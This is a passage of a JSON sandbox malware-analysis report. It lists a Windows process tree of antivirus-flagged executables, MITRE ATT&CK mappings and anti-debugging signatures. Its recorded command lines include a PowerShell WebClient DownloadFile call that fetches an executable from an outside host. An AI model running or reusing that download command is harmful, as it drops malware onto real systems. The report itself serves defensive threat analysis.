\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2600","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00101353-00003544","parentuid":"00101239-00002600","name":"fontreview.exe","normalized_path":"C:\\Media\\fontreview.exe","command_line":"C:/Media/fontreview.exe","sha256":"28ddd3359a5dd7fe1b8b2140406d54ae43f4468e0dc378858be820091ff61c9e","av_label":"Trojan.Generic","av_matched":41,"av_total":72,"pid":"3544","icon":null,"process_flags":[{"name":"Network Activity","data":null},{"name":"Multiscan Match","data":"41/72"}]},{"uid":"00101297-00001072","parentuid":"00100726-00002996","name":"e6ee5674bb9446c78bbc5729af6e2c28.exe","normalized_path":"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe","command_line":null,"sha256":"50d672e104dfc82540dd8246f6a177e869a8154a1f8750bde373d3c0466cae1e","av_label":null,"av_matched":0,"av_total":65,"pid":"1072","icon":null,"process_flags":[]},{"uid":"00101338-00001632","parentuid":"00100726-00002996","name":"WatchBull.exe","normalized_path":"C:\\Media\\WatchBull.exe","command_line":null,"sha256":"c2cf8cba38db6296f975f21dabd51bda88263390d9545eb4dd45f839d5623397","av_label":"Trojan.Small","av_matched":1,"av_total":72,"pid":"1632","icon":null,"process_flags":[{"name":"Multiscan Match","data":"1/72"}]},{"uid":"00101634-00002536","parentuid":"00101338-00001632","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","command_line":"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","av_label":null,"av_matched":null,"av_total":null,"pid":"2536","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00100753-00001696","parentuid":"00100415-00002736","name":"Windows defender.exe","normalized_path":"C:\\Media\\Windows defender.exe","command_line":null,"sha256":"8c58edd9b95eb12dd82c8eb54dd879f9c712239c2795daddf747b3ac59869953","av_label":"Disabler.U","av_matched":14,"av_total":72,"pid":"1696","icon":null,"process_flags":[{"name":"Multiscan Match","data":"14/72"}]},{"uid":"00099410-00003540","parentuid":"00099061-00003552","name":"PayPal brute?checker.exe","normalized_path":"%APPDATA%\\1337\\PayPal brute&checker.exe","command_line":null,"sha256":"de8648b195bb21c536ae4c4c8a26a8d8e396843d602a0b924538196ceb9fd89f","av_label":null,"av_matched":null,"av_total":null,"pid":"3540","icon":null,"process_flags":[]},{"uid":"00099768-00003800","parentuid":"00099410-00003540","name":"PayPal.exe","normalized_path":"%APPDATA%\\Microsoft\\PayPal.exe","command_line":null,"sha256":"9985479761f6f3cb21bc0d0dbeb60515ebe1362df43e233790077c8d17f9e58e","av_label":"Trojan.HackTool","av_matched":5,"av_total":72,"pid":"3800","icon":null,"process_flags":[{"name":"Multiscan Match","data":"5/72"}]},{"uid":"00099794-00004056","parentuid":"00099410-00003540","name":"loader.bat","normalized_path":"%APPDATA%\\Microsoft\\loader.bat","command_line":null,"sha256":"67b1416f1300afce0823cf6066cca1322bb86e84ed70db0e327a71233a4fbe6e","av_label":"Gen:Variant.Ursu","av_matched":35,"av_total":73,"pid":"4056","icon":null,"process_flags":[{"name":"Multiscan Match","data":"35/73"}]},{"uid":"00100067-00003360","parentuid":"00099794-00004056","name":"cmd.exe","normalized_path":"%WINDIR%\\System32\\cmd.exe","command_line":"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","av_label":null,"av_matched":null,"av_total":null,"pid":"3360","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00100099-00003764","parentuid":"00100067-00003360","name":"powershell.exe","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","command_line":"powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"","sha256":"a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8","av_label":null,"av_matched":null,"av_total":null,"pid":"3764","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]}],"mitre_attcks":[{"tactic":"Execution","technique":"Service Execution","attck_id":"T1035","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Execution","technique":"Windows Management Instrumentation","attck_id":"T1047","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Contains references to WMI/WMIC"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attck_id":"T1215","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","malicious_identifiers_count":1,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Contains ability to enumerate processes/modules/threads"],"informative_identifiers_count":1,"informative_identifiers":["Opens the Kernel Security Device Driver (KsecDD) of Windows"],"parent":null},{"tactic":"Persistence","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Installs hooks/patches the running process"],"informative_identifiers_count":1,"informative_identifiers":["Loads rich edit control libraries"],"parent":null},{"tactic":"Privilege Escalation","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Installs hooks/patches the running process"],"informative_identifiers_count":1,"informative_identifiers":["Loads rich edit control libraries"],"parent":null},{"tactic":"Privilege Escalation","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","malicious_identifiers_count":2,"malicious_identifiers":["Allocates virtual memory in a remote process","Writes data to a remote process"],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"File Deletion","attck_id":"T1107","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Marks file for deletion"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"Software Packing","attck_id":"T1045","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1045","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["PE file is packed with UPX"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"Process Injection","attck_id":"T1055","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","malicious_identifiers_count":2,"malicious_identifiers":["Allocates virtual memory in a remote process","Writes data to a remote process"],"suspicious_identifiers_count":1,"suspicious_identifiers":[],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Defense Evasion","technique":"Modify Registry","attck_id":"T1112","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Modifies proxy settings"],"informative_identifiers_count":1,"informative_identifiers":["Creates or modifies windows services"],"parent":null},{"tactic":"Credential Access","technique":"Hooking","attck_id":"T1179","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Installs hooks/patches the running process"],"informative_identifiers_count":1,"informative_identifiers":["Loads rich edit control libraries"],"parent":null},{"tactic":"Credential Access","technique":"Input Capture","attck_id":"T1056","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1056","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["Contains ability to retrieve keyboard strokes"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Discovery","technique":"Application Window Discovery","attck_id":"T1010","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Scanning for window names"],"parent":null},{"tactic":"Discovery","technique":"System Time Discovery","attck_id":"T1124","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Contains ability to query machine time","Contains ability to query the machine timezone"],"parent":null},{"tactic":"Discovery","technique":"System Information Discovery","attck_id":"T1082","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["Contains ability to read monitor info","Contains ability to query CPU information"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Discovery","technique":"Process Discovery","attck_id":"T1057","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Queries process information"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Discovery","technique":"Query Registry","attck_id":"T1012","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":5,"suspicious_identifiers":["Reads the cryptographic machine GUID","Reads information about supported languages","Queries sensitive IE security settings","Reads the active computer name"],"informative_identifiers_count":1,"informative_identifiers":["Reads the registry for installed applications"],"parent":null},{"tactic":"Discovery","technique":"File and Directory Discovery","attck_id":"T1083","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1083","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Contains ability to query volume size"],"parent":null},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attck_id":"T1120","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","malicious_identifiers_count":1,"malicious_identifiers":["Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines"],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":2,"informative_identifiers":["Queries volume information","Queries volume information of an entire harddrive"],"parent":null},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attck_id":"T1076","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Reads terminal service related keys (often RDP related)"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Collection","technique":"Clipboard Data","attck_id":"T1115","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1115","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":1,"suspicious_identifiers":["Contains ability to open the clipboard"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Collection","technique":"Input Capture","attck_id":"T1056","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1056","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":2,"suspicious_identifiers":["Contains ability to retrieve keyboard strokes"],"informative_identifiers_count":0,"informative_identifiers":[],"parent":null},{"tactic":"Command and Control","technique":"Data Encoding","attck_id":"T1132","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1132","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["HTTP request contains Base64 encoded artifacts"],"parent":null},{"tactic":"Exfiltration","technique":"Data Compressed","attck_id":"T1002","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","malicious_identifiers_count":0,"malicious_identifiers":[],"suspicious_identifiers_count":0,"suspicious_identifiers":[],"informative_identifiers_count":1,"informative_identifiers":["Matched Compiler/Packer signature"],"parent":null}],"network_mode":"tor","signatures":[{"threat_level":0,"threat_level_human":"informative","category":"Anti-Reverse Engineering","identifier":"stream-4","type":1,"relevance":1,"name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-107-001A5B48\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-400-0019D7B5\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-910-0019DAFF\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-1640-0019D947\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00099410-00003540-41033-15-3F851F94\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-444-00B15B48\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-1101-00B0D7B5\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-1126-00B0DAFF\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-2071-00B0D947","description_v2":["SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-107-001A5B48","SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-400-0019D7B5","SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-910-0019DAFF","SetUnhandledExceptionFilter@KERNEL32.DLL at 00099374-00003980-32419-1640-0019D947","SetUnhandledExceptionFilter@KERNEL32.DLL at 00099410-00003540-41033-15-3F851F94","SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-444-00B15B48","SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-1101-00B0D7B5","SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-1126-00B0DAFF","SetUnhandledExceptionFilter@KERNEL32.DLL at 00100415-00002736-26168-2071-00B0D947"],"description_v3":[{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"SetUnhandledExceptionFilter@KERNEL32.DLL"},{"type":"pid","pid":"00002736"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Anti-Reverse Engineering","identifier":"static-5","type":0,"relevance":10,"name":"PE file contains zero-size sections","description":"Raw size of \".ndata\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".tls\" is zero\n Raw size of \"UPX0\" is zero","description_v2":["Raw size of \".ndata\" is zero","Raw size of \".bss\" is zero","Raw size of \".tls\" is zero","Raw size of \"UPX0\" is zero"],"description_v3":[{"type":"text","value":"Raw size of \".ndata\" is zero"},{"type":"linebreak"},{"type":"text","value":"Raw size of \".bss\" is zero"},{"type":"linebreak"},{"type":"text","value":"Raw size of \".tls\" is zero"},{"type":"linebreak"},{"type":"text","value":"Raw size of \"UPX0\" is zero"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"stream-2","type":1,"relevance":1,"name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00099374-00003980-32419-66-0019BEC2\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00099374-00003980-32419-412-0019D99C\n GetSystemTime@KERNEL32.DLL at 00099374-00003980-32419-674-0018FDB6\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00099410-00003540-41033-555-3F84ABD4\n GetLocalTime@KERNEL32.DLL at 00099410-00003540-41033-1105-3F89587C\n GetLocalTime@KERNEL32.DLL at 00099410-00003540-41033-2956-3F89FC08\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00099410-00003540-41033-3936-3F85AF1A\n GetSystemTime@KERNEL32.DLL at 00100415-00002736-26168-819-00AFFDB6\n GetLocalTime@KERNEL32.DLL at 00100415-00002736-26168-1047-00B0BEC2\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00100415-00002736-26168-1125-00B0D99C","description_v2":["GetLocalTime@KERNEL32.DLL at 00099374-00003980-32419-66-0019BEC2","GetSystemTimeAsFileTime@KERNEL32.DLL at 00099374-00003980-32419-412-0019D99C","GetSystemTime@KERNEL32.DLL at 00099374-00003980-32419-674-0018FDB6","GetSystemTimeAsFileTime@KERNEL32.DLL at 00099410-00003540-41033-555-3F84ABD4","GetLocalTime@KERNEL32.DLL at 00099410-00003540-41033-1105-3F89587C","GetLocalTime@KERNEL32.DLL at 00099410-00003540-41033-2956-3F89FC08","GetSystemTimeAsFileTime@KERNEL32.DLL at 00099410-00003540-41033-3936-3F85AF1A","GetSystemTime@KERNEL32.DLL at 00100415-00002736-26168-819-00AFFDB6","GetLocalTime@KERNEL32.DLL at 00100415-00002736-26168-1047-00B0BEC2","GetSystemTimeAsFileTime@KERNEL32.DLL at 00100415-00002736-26168-1125-00B0D99C"],"description_v3":[{"type":"text","value":"GetLocalTime@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"GetSystemTimeAsFileTime@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"GetSystemTime@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"GetSystemTimeAsFileTime@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetLocalTime@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetLocalTime@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetSystemTimeAsFileTime@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetSystemTime@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"GetLocalTime@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"GetSystemTimeAsFileTime@KERNEL32.DLL"},{"type":"pid","pid":"00002736"}],"origin":"Hybrid Analysis Technology","attck_id":"T1124","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"stream-48","type":1,"relevance":1,"name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00099410-00003540-41033-1804-3F859D93","description_v2":["GetTimeZoneInformation@KERNEL32.DLL at 00099410-00003540-41033-1804-3F859D93"],"description_v3":[{"type":"text","value":"GetTimeZoneInformation@KERNEL32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":"T1124","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"stream-3","type":1,"relevance":1,"name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00099061-00003552-22132-1-0040322B\n GetVersion@KERNEL32.DLL at 00099061-00003552-22132-9-00405E85\n GetVersion@KERNEL32.DLL at 00099061-00003552-24609-1-0040322B\n GetVersionExW@KERNEL32.DLL at 00099374-00003980-32419-368-0018A761\n GetVersionExW@KERNEL32.DLL at 00099410-00003540-41033-1400-3F839ED8\n GetVersionExW@KERNEL32.DLL at 00100415-00002736-26168-796-00AFA761\n GetVersion@kernel32.dll at 17803-767-00404E3C\n GetVersion@kernel32.dll at 17803-778-0040CF10\n GetVersion@kernel32.dll at 17803-766-0040E740","description_v2":["GetVersion@KERNEL32.DLL at 00099061-00003552-22132-1-0040322B","GetVersion@KERNEL32.DLL at 00099061-00003552-22132-9-00405E85","GetVersion@KERNEL32.DLL at 00099061-00003552-24609-1-0040322B","GetVersionExW@KERNEL32.DLL at 00099374-00003980-32419-368-0018A761","GetVersionExW@KERNEL32.DLL at 00099410-00003540-41033-1400-3F839ED8","GetVersionExW@KERNEL32.DLL at 00100415-00002736-26168-796-00AFA761","GetVersion@kernel32.dll at 17803-767-00404E3C","GetVersion@kernel32.dll at 17803-778-0040CF10","GetVersion@kernel32.dll at 17803-766-0040E740"],"description_v3":[{"type":"text","value":"GetVersion@KERNEL32.DLL"},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"GetVersion@KERNEL32.DLL"},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"GetVersion@KERNEL32.DLL"},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"GetVersionExW@KERNEL32.DLL"},{"type":"pid","pid":"00003980"},{"type":"linebreak"},{"type":"text","value":"GetVersionExW@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetVersionExW@KERNEL32.DLL"},{"type":"pid","pid":"00002736"},{"type":"linebreak"},{"type":"text","value":"GetVersion@kernel32.dll at 17803-767-00404E3C"},{"type":"linebreak"},{"type":"text","value":"GetVersion@kernel32.dll at 17803-778-0040CF10"},{"type":"linebreak"},{"type":"text","value":"GetVersion@kernel32.dll at 17803-766-0040E740"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"stream-37","type":1,"relevance":3,"name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00099061-00003552-22132-81-00404486\n GetDiskFreeSpaceExW@KERNEL32.DLL at 00099410-00003540-41033-2906-3F89CB00\n GetDiskFreeSpaceExW@KERNEL32.DLL at 00099410-00003540-41033-2907-3F89CC18\n GetDiskFreeSpaceW@KERNEL32.DLL at 00099410-00003540-41033-2908-3F89CD34","description_v2":["GetDiskFreeSpaceA@KERNEL32.DLL at 00099061-00003552-22132-81-00404486","GetDiskFreeSpaceExW@KERNEL32.DLL at 00099410-00003540-41033-2906-3F89CB00","GetDiskFreeSpaceExW@KERNEL32.DLL at 00099410-00003540-41033-2907-3F89CC18","GetDiskFreeSpaceW@KERNEL32.DLL at 00099410-00003540-41033-2908-3F89CD34"],"description_v3":[{"type":"text","value":"GetDiskFreeSpaceA@KERNEL32.DLL"},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"GetDiskFreeSpaceExW@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetDiskFreeSpaceExW@KERNEL32.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"GetDiskFreeSpaceW@KERNEL32.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":"T1083","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1083","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"stream-39","type":1,"relevance":10,"name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00403273h\" at 00099061-00003552-22132-1-0040322B\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00403273h\" at 00099061-00003552-24609-1-0040322B\n Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp dword ptr [rbx], edi\" and \"je 3F895A28h\" at 00099410-00003540-41033-1105-3F89587C\n Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 3F859EF2h\" at 00099410-00003540-41033-1804-3F859D93\n Found API call GetVersion@kernel32.dll directly followed by \"cmp byte ptr [0077CB88h], 00h\" and \"je 0040CF8Eh\" at 17803-778-0040CF10\n Found API call GetVersion@kernel32.dll directly followed by \"cmp edx, 05h\" and \"jne 0040E75Eh\" at 17803-766-0040E740","description_v2":["Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00403273h\" at 00099061-00003552-22132-1-0040322B","Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00403273h\" at 00099061-00003552-24609-1-0040322B","Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp dword ptr [rbx], edi\" and \"je 3F895A28h\" at 00099410-00003540-41033-1105-3F89587C","Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 3F859EF2h\" at 00099410-00003540-41033-1804-3F859D93","Found API call GetVersion@kernel32.dll directly followed by \"cmp byte ptr [0077CB88h], 00h\" and \"je 0040CF8Eh\" at 17803-778-0040CF10","Found API call GetVersion@kernel32.dll directly followed by \"cmp edx, 05h\" and \"jne 0040E75Eh\" at 17803-766-0040E740"],"description_v3":[{"type":"text","value":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00403273h\""},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp ax, 00000006h\" and \"je 00403273h\""},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp dword ptr [rbx], edi\" and \"je 3F895A28h\""},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 3F859EF2h\""},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"Found API call GetVersion@kernel32.dll directly followed by \"cmp byte ptr [0077CB88h], 00h\" and \"je 0040CF8Eh\" at 17803-778-0040CF10"},{"type":"linebreak"},{"type":"text","value":"Found API call GetVersion@kernel32.dll directly followed by \"cmp edx, 05h\" and \"jne 0040E75Eh\" at 17803-766-0040E740"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"stream-31","type":1,"relevance":1,"name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00099374-00003980-32419-1714-001A8A21\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-538-3F85FDD4\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-650-3F8504D8\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2452-3F885591\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2453-3F885639\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2456-3F8856EC\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2459-3F885714\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2460-3F886258\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2463-3F88588C\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2467-3F886178\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2487-3F885EC8\n GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2462-3F8856C4\n GetProcessHeap@KERNEL32.DLL at 00100415-00002736-26168-2127-00B18A21","description_v2":["GetProcessHeap@KERNEL32.DLL at 00099374-00003980-32419-1714-001A8A21","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-538-3F85FDD4","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-650-3F8504D8","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2452-3F885591","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2453-3F885639","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2456-3F8856EC","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2459-3F885714","GetProcessHeap@KERNEL32.DLL at 00099410-00003540-41033-2460-3F886258","GetProcessHeap@KERNEL32.DLL at 